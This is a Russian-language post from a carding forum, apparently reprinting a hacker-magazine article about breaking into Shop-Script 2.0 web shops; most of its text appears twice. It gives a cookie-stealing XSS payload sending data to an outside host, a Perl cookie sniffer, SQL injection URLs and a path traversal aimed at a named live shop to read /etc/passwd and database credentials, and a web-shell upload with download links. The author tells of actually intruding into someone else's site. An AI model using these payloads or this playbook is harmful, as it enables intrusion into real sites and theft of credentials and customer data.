Carding Forum
Professional
- Messages
- 2,788
- Reaction score
- 1,171
- Points
- 113
То, что в электронных магазинах мало дыр, — это не пустые слова. Забив в багтраке слово Shop, я увидел лишь несколько ссылок 2000 года, пару пассивных xss'ок и упоминание об sql-инъекции за 2001 год. Меня это сильно удивило и я решил исправить ситуацию. Мне даже стало интересно поискать дыру в каком-нибудь бесплатном магазинном движке.
Всё по порядку
Все началось с того, что я зашел по фтп на сервер, где хостится мой сайт. Среди нескольких директорий меня привлекла папка Shop, которую я до этого ни разу не видел. В ней находилось множество разнообразных скриптов. Обратившись к этой папке браузером, я окончательно убедился, что это интернет-магазин. Оказалось, мой друг, второй администратор нашего сайта, решил потестить этот движок. «Коммерсант хренов», – подумал я. Ну хорошо, ради интереса и я его посмотрю.
Приступим
Скачав и установив е-шоп к себе на винчестер, я приступил к исследованиям. Этот движок назывался без особенных изысков - Shop-Script. Версия 2.0. Как и полагается современным движкам, для хранения информации использовался сервер баз данных. После первого же осмотра «пациента» было обнаружено несколько багов. Значения переменных не фильтровалось на спецсимволы почти нигде, и через пять минут изучения сорцов мне даже показалось, что создатели этого движка не знали вообще ничего о безопасности web-приложений. Мне показалось довольно забавным, что при создании движка электронной торговли программисты даже не задумались о безопасности своего приложения. Хотя, может, они это сделали специально? Как бы то ни было, нам это только на руку. Будем изучать баги.
Первый баг - XSS
Если при оформлении заказа вставить в любое из полей личной информации (телефон, адрес и т.д.) строку <script>alert()</script>, то при отображении этой информации вылетит алерт.
Интересно, будет ли выполняться наш код в админ-панели? При просмотре пользовательской информации никаких окошек не появилось – код не выполнялся. Однако стоит только такому ядовитому пользователю произвести заказ на товар, как при просмотре администратором новых заказов зловредный код исполнится и в нашем случае появится предупреждающее окошко. Написать скрипт для отсылки админских кукисов – лишь дело техники и давно уже пройденный тобой этап, верно?
Примерный xss-код такой:
На свой же сервер для проведения атаки нужно залить примерно следующий перловый скрипт:
Код продвинутого снифера на Perl
Приведенный скрипт позволяет отслеживать IP-адрес, поле Referer и принимать произвольные данные, переданные скрипту. Сценарий возвращает пользователю картинку, крадет его кукисы и не вызывает подозрений.
Второй баг
Задействовав поисковик (даже не буду говорить какой), был выбран сайт, работающий на Shop-Script. Естественно, перед этим я не забыл про свою анонимность.
На сайте торговали какой-то мебелью. Хотя мне было без разницы. Задача была одна – получить доступ к админке либо к базе данных.
Не обладая достаточными знаниями по sql-injection, я все-таки пытался вытянуть информацию из БД.
Было несколько вариантов вроде:
http://mebelart.com/index.php?categ...ull,null,null,null,null,null,null,null,null/*
но количество столбцов не совпадало (следовало воспользоваться скриптом для подборки числа выбираемых полей или подобрать его руками. – Прим. ред.).
В общем, нужного эффекта мне достигнуть не удалось. Тогда было решено подключить к этому делу своего знакомого, который неплохо разбирается в sql-injection. Он был слишком разговорчив и подкинул несколько идей:
http://mebelart.com/index.php?categoryID=-1 union select load_file('/etc/passwd') from admin/*
http://mebelart.com/index.php?categoryID=-1 union select password from admin/*
Однако реализовать предложенное им у меня опять не получилось, и я решил продолжить атаку на следующий день.
Новые решения
Честно говоря, мне совсем не хотелось вылавливать админские «печеньки» с помощью CSS. Вытащить же данные из базы никак не получалось. Казалось бы, что выхода нет и придется довольствоваться лишь фактом присутствия уязвимостей. Но тут я подумал, что раз в системе присутствуют 2 классических бага, то почему бы не попробовать реализовать и третий? И точно, интуиция меня не подвела.
У скрипта index.php есть параметр aux_page, именно он умел читать файлы на сервере.
Недолго думая, я решил просмотреть логины юзверей. Подставив aux_page=../../../../../../../etc/passwd, я увидел все логины.
Посмотрев исходники движка, был найден интересный файл connect.inc.php, который находился в директории cfg. В нем была полная информация для подключения к БД. То есть хост, логин, пароль и логин администратора магазина. Теперь, подставив в параметр aux_page и значение ../cfg/connect.inc.php, скрипт выдал пустую страницу, посмотрев исходник которой, был достигнут желаемый результат: там я обнаружил идентификаторы для подключения к БД.
Далее я залил скрипт sql.php (также для этих целей подойдет программа SQLyog) от команды RST, на ранее поломанный сервер, и подключился к базе данных.
БД теперь под контролем. Дальше - больше. Быстро пробежавшись по таблицам, я нашел решение еще одной задачи. Оказалось, что пароль и логин от админки скрипт хранит в таблице ss_customers, причем без всякого шифрования, в открытом виде. Теперь, введя эти данные в поля на главной странице сайта, я попал в зону администратора. Вот и все. Задача выполнена.
Это ещё не конец
Передо мной красовалась админка. Было 2 новых заказа.
Я подумал, что можно поменять цену какого-нибудь дивана на пару сотен USD и заказать с доставкой на дом. Но так как мебели у меня и так хватало, да и пополнять число зеков тоже не хотелось, я не стал воплощать этот бред воспаленного мозга в реальность.
Потом я подумал о данных по кредиткам наивных клиентов, но подобной информации обнаружено не было. Были лишь адреса, фамилии, телефоны и т.д.
Я имею полный доступ к базе данных, к админке, что еще нужно для полного счастья? Правильно, не хватает шелла.
Админка оказалась вполне функциональной, но пункта «Залить шелл» почему-то не оказалось.
Сначала я подумал, что получить веб-шелл на этой машине будет проще простого, но не тут то было. Я начал вставлять банальную строчку "<?php system("id"); ?>" везде где можно: сначала в блок новостей, потом в страницы «О магазине» и «Доставка и оплата», но нигде не было вывода заветных прав.
Заливаем шелл
Тогда я по инерции ткнул в пункт «Категории и товары». Там мне предлагалось создать новую категорию. Здесь меня заинтересовал пункт «Логотип», который предлагалось загрузить с компьютера. Думаю, предсказать следующие мои действия проще простого. Я нагло загрузил файл sh.php, который был немного модифицированным шеллом от RST.
Никакой проверки расширения и содержимого файла не было и в помине. Выбрав на сайте только что созданную категорию и подведя курсор к рисунку категории, я выбрал в контекстном меню пункт Open image и увидел полноценный веб-шелл.
Сервер крутился под фряхой. Чтобы не палиться, был залит отдельный шелл и удалена ранее созданная категория. Думаю, о том, что можно сделать с системой и как ее использовать в своих целях, не стоит рассказывать. Об этом слишком много написано.
The end
Чуть позже я рассказал второму админу нашего сайта о том, насколько дыряв «Шоп-Скрипт», и тот, с глубокой досадой, удалил этот дуршлаг.
Вот видишь, как несерьезно люди подходят к вопросу организации электронной коммерции. Серьезная фирма может завести сайт на движке Shop-Script, какой-нибудь хакер их взломает, информация о клиентах может стать разглашенной, а в итоге фирма потеряет не только авторитет, но и немалые деньги.
Движок Shop-Script весьма популярен в Интернете, и, проведя небольшой аудит сайтов, работающих на этом движке, я сделал вывод, что 80% из них уязвимы. Я считаю, что веб-шопы должны писаться строго на заказ. Сайт все равно могут взломать, но все-таки безопасность становится немного выше. Пользоваться CMS, код которой открыт всему Интернету, можно лишь небольшим магазинам, покупки в которых происходят раз в месяц. В случае взлома урон будет небольшой.
Посмотрев еще несколько хостов, которые Гугл выдал мне на запрос "inurl:index.php?aux_page=", я удивился, увидев на двух сайтах данные от БД, которые были на сервере, описанном выше. Человек держал 3 магазина на одинаковом движке и оба они, естественно, были уязвимы.
Пасхальное яйцо от RST
Не так уж и много людей знают о том, что в мегапопулярном web-шелле от российской команды RST есть «пасхальное яйцо» - счетчик посещений, который светит адрес установленного шелла в статистике (поле Referrer). Скачать скрипт с вырезанным счетчиком можно по этому адресу: www.securityinfo.ru/www/upload/tools/r57shell.txt.
INFO
Не пытайся перейти по адресу вида www.target.com/admin.php, так как тебя там никто не ждет и не пустит. Данные для входа в зону администрирования вводятся на главной странице.
WWW
В Сети уже довольно давно можно скачать исходный код известного магазина eBay. Если ты хочешь почувствовать себя в роли серьезного багоискателя, то поисковик тебе поможет найти эти интересные сорцы.
www.shop-script.ru - домашняя страница Shop-Script'a.
www.webyog.com - SQLyog. Программа для подключения к базе данных.
www.rst.void.ru/download/sql.rar - скрипт используемый в статье. Утилита a'la phpmyadmin для работы с базами данных MySQL.
www.securityinfo.ru/www/upload/tools/r57shell.txt - модифицированный шелл.
WARNING
Не стоит забывать, что все действия взломщиков противозаконны, поэтому данная статья предназначена лишь для ознакомления. За применение материала в незаконных целях автор и редакция ответственности не несут.
Всё по порядку
Все началось с того, что я зашел по фтп на сервер, где хостится мой сайт. Среди нескольких директорий меня привлекла папка Shop, которую я до этого ни разу не видел. В ней находилось множество разнообразных скриптов. Обратившись к этой папке браузером, я окончательно убедился, что это интернет-магазин. Оказалось, мой друг, второй администратор нашего сайта, решил потестить этот движок. «Коммерсант хренов», – подумал я. Ну хорошо, ради интереса и я его посмотрю.
Приступим
Скачав и установив е-шоп к себе на винчестер, я приступил к исследованиям. Этот движок назывался без особенных изысков - Shop-Script. Версия 2.0. Как и полагается современным движкам, для хранения информации использовался сервер баз данных. После первого же осмотра «пациента» было обнаружено несколько багов. Значения переменных не фильтровалось на спецсимволы почти нигде, и через пять минут изучения сорцов мне даже показалось, что создатели этого движка не знали вообще ничего о безопасности web-приложений. Мне показалось довольно забавным, что при создании движка электронной торговли программисты даже не задумались о безопасности своего приложения. Хотя, может, они это сделали специально? Как бы то ни было, нам это только на руку. Будем изучать баги.
Первый баг - XSS
Если при оформлении заказа вставить в любое из полей личной информации (телефон, адрес и т.д.) строку <script>alert()</script>, то при отображении этой информации вылетит алерт.
Интересно, будет ли выполняться наш код в админ-панели? При просмотре пользовательской информации никаких окошек не появилось – код не выполнялся. Однако стоит только такому ядовитому пользователю произвести заказ на товар, как при просмотре администратором новых заказов зловредный код исполнится и в нашем случае появится предупреждающее окошко. Написать скрипт для отсылки админских кукисов – лишь дело техники и давно уже пройденный тобой этап, верно?
Примерный xss-код такой:
Code:
<script>document.write('<img width=1 height=1 src="http://sniff.ru/kartinka.jpg?'+document.cookie+'">');</script>На свой же сервер для проведения атаки нужно залить примерно следующий перловый скрипт:
Код продвинутого снифера на Perl
Code:
#!/usr/bin/perl
$LogFile="log.txt";#путь к лог-файлу
$mlength=50;#максимальное число записей
print "Location: image.gif\n\n";#делаем редирект на картинку
read(STDIN, $input, $ENV{'CONTENT_LENGTH'});#читаем данные запроса
$input = $ENV{'QUERY_STRING'} if $ENV{'QUERY_STRING'};
$input =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$now_string = localtime;#получаем время запроса и HTTP_REFERER
$ref = $ENV{'HTTP_REFERER'};
#читаем лог-файл в массив
open (LOG,"$LogFile") || die "Can't Open $LogFile: $!\n";
@LOGtext=<LOG>;
close (LOG);
open (LOG, ">$LogFile");#открываем на запись лог
#сохраняем данные запроса
print LOG "[$now_string] IP=$ENV{'REMOTE_ADDR'} REFERER=$ref QUERY=$input\n";
#сохраняем остальные логи, так что бы длина лог-файла не превышала mlength
$counter=1;
foreach $LOGitem (@LOGtext)
{
if ($counter<$mlength){ print LOG "$LOGitem"; };
$counter++;
};
close (LOG);#закрываем лог
exit;Приведенный скрипт позволяет отслеживать IP-адрес, поле Referer и принимать произвольные данные, переданные скрипту. Сценарий возвращает пользователю картинку, крадет его кукисы и не вызывает подозрений.
Второй баг
Задействовав поисковик (даже не буду говорить какой), был выбран сайт, работающий на Shop-Script. Естественно, перед этим я не забыл про свою анонимность.
На сайте торговали какой-то мебелью. Хотя мне было без разницы. Задача была одна – получить доступ к админке либо к базе данных.
Не обладая достаточными знаниями по sql-injection, я все-таки пытался вытянуть информацию из БД.
Было несколько вариантов вроде:
http://mebelart.com/index.php?categ...ull,null,null,null,null,null,null,null,null/*
но количество столбцов не совпадало (следовало воспользоваться скриптом для подборки числа выбираемых полей или подобрать его руками. – Прим. ред.).
В общем, нужного эффекта мне достигнуть не удалось. Тогда было решено подключить к этому делу своего знакомого, который неплохо разбирается в sql-injection. Он был слишком разговорчив и подкинул несколько идей:
http://mebelart.com/index.php?categoryID=-1 union select load_file('/etc/passwd') from admin/*
http://mebelart.com/index.php?categoryID=-1 union select password from admin/*
Однако реализовать предложенное им у меня опять не получилось, и я решил продолжить атаку на следующий день.
Новые решения
Честно говоря, мне совсем не хотелось вылавливать админские «печеньки» с помощью CSS. Вытащить же данные из базы никак не получалось. Казалось бы, что выхода нет и придется довольствоваться лишь фактом присутствия уязвимостей. Но тут я подумал, что раз в системе присутствуют 2 классических бага, то почему бы не попробовать реализовать и третий? И точно, интуиция меня не подвела.
У скрипта index.php есть параметр aux_page, именно он умел читать файлы на сервере.
Недолго думая, я решил просмотреть логины юзверей. Подставив aux_page=../../../../../../../etc/passwd, я увидел все логины.
Посмотрев исходники движка, был найден интересный файл connect.inc.php, который находился в директории cfg. В нем была полная информация для подключения к БД. То есть хост, логин, пароль и логин администратора магазина. Теперь, подставив в параметр aux_page и значение ../cfg/connect.inc.php, скрипт выдал пустую страницу, посмотрев исходник которой, был достигнут желаемый результат: там я обнаружил идентификаторы для подключения к БД.
Далее я залил скрипт sql.php (также для этих целей подойдет программа SQLyog) от команды RST, на ранее поломанный сервер, и подключился к базе данных.
БД теперь под контролем. Дальше - больше. Быстро пробежавшись по таблицам, я нашел решение еще одной задачи. Оказалось, что пароль и логин от админки скрипт хранит в таблице ss_customers, причем без всякого шифрования, в открытом виде. Теперь, введя эти данные в поля на главной странице сайта, я попал в зону администратора. Вот и все. Задача выполнена.
Это ещё не конец
Передо мной красовалась админка. Было 2 новых заказа.
Я подумал, что можно поменять цену какого-нибудь дивана на пару сотен USD и заказать с доставкой на дом. Но так как мебели у меня и так хватало, да и пополнять число зеков тоже не хотелось, я не стал воплощать этот бред воспаленного мозга в реальность.
Потом я подумал о данных по кредиткам наивных клиентов, но подобной информации обнаружено не было. Были лишь адреса, фамилии, телефоны и т.д.
Я имею полный доступ к базе данных, к админке, что еще нужно для полного счастья? Правильно, не хватает шелла.
Админка оказалась вполне функциональной, но пункта «Залить шелл» почему-то не оказалось.
Сначала я подумал, что получить веб-шелл на этой машине будет проще простого, но не тут то было. Я начал вставлять банальную строчку "<?php system("id"); ?>" везде где можно: сначала в блок новостей, потом в страницы «О магазине» и «Доставка и оплата», но нигде не было вывода заветных прав.
Заливаем шелл
Тогда я по инерции ткнул в пункт «Категории и товары». Там мне предлагалось создать новую категорию. Здесь меня заинтересовал пункт «Логотип», который предлагалось загрузить с компьютера. Думаю, предсказать следующие мои действия проще простого. Я нагло загрузил файл sh.php, который был немного модифицированным шеллом от RST.
Никакой проверки расширения и содержимого файла не было и в помине. Выбрав на сайте только что созданную категорию и подведя курсор к рисунку категории, я выбрал в контекстном меню пункт Open image и увидел полноценный веб-шелл.
Сервер крутился под фряхой. Чтобы не палиться, был залит отдельный шелл и удалена ранее созданная категория. Думаю, о том, что можно сделать с системой и как ее использовать в своих целях, не стоит рассказывать. Об этом слишком много написано.
The end
Чуть позже я рассказал второму админу нашего сайта о том, насколько дыряв «Шоп-Скрипт», и тот, с глубокой досадой, удалил этот дуршлаг.
Вот видишь, как несерьезно люди подходят к вопросу организации электронной коммерции. Серьезная фирма может завести сайт на движке Shop-Script, какой-нибудь хакер их взломает, информация о клиентах может стать разглашенной, а в итоге фирма потеряет не только авторитет, но и немалые деньги.
Движок Shop-Script весьма популярен в Интернете, и, проведя небольшой аудит сайтов, работающих на этом движке, я сделал вывод, что 80% из них уязвимы. Я считаю, что веб-шопы должны писаться строго на заказ. Сайт все равно могут взломать, но все-таки безопасность становится немного выше. Пользоваться CMS, код которой открыт всему Интернету, можно лишь небольшим магазинам, покупки в которых происходят раз в месяц. В случае взлома урон будет небольшой.
Посмотрев еще несколько хостов, которые Гугл выдал мне на запрос "inurl:index.php?aux_page=", я удивился, увидев на двух сайтах данные от БД, которые были на сервере, описанном выше. Человек держал 3 магазина на одинаковом движке и оба они, естественно, были уязвимы.
Пасхальное яйцо от RST
Не так уж и много людей знают о том, что в мегапопулярном web-шелле от российской команды RST есть «пасхальное яйцо» - счетчик посещений, который светит адрес установленного шелла в статистике (поле Referrer). Скачать скрипт с вырезанным счетчиком можно по этому адресу: www.securityinfo.ru/www/upload/tools/r57shell.txt.
INFO
Не пытайся перейти по адресу вида www.target.com/admin.php, так как тебя там никто не ждет и не пустит. Данные для входа в зону администрирования вводятся на главной странице.
WWW
В Сети уже довольно давно можно скачать исходный код известного магазина eBay. Если ты хочешь почувствовать себя в роли серьезного багоискателя, то поисковик тебе поможет найти эти интересные сорцы.
www.shop-script.ru - домашняя страница Shop-Script'a.
www.webyog.com - SQLyog. Программа для подключения к базе данных.
www.rst.void.ru/download/sql.rar - скрипт используемый в статье. Утилита a'la phpmyadmin для работы с базами данных MySQL.
www.securityinfo.ru/www/upload/tools/r57shell.txt - модифицированный шелл.
WARNING
Не стоит забывать, что все действия взломщиков противозаконны, поэтому данная статья предназначена лишь для ознакомления. За применение материала в незаконных целях автор и редакция ответственности не несут.
Last edited:
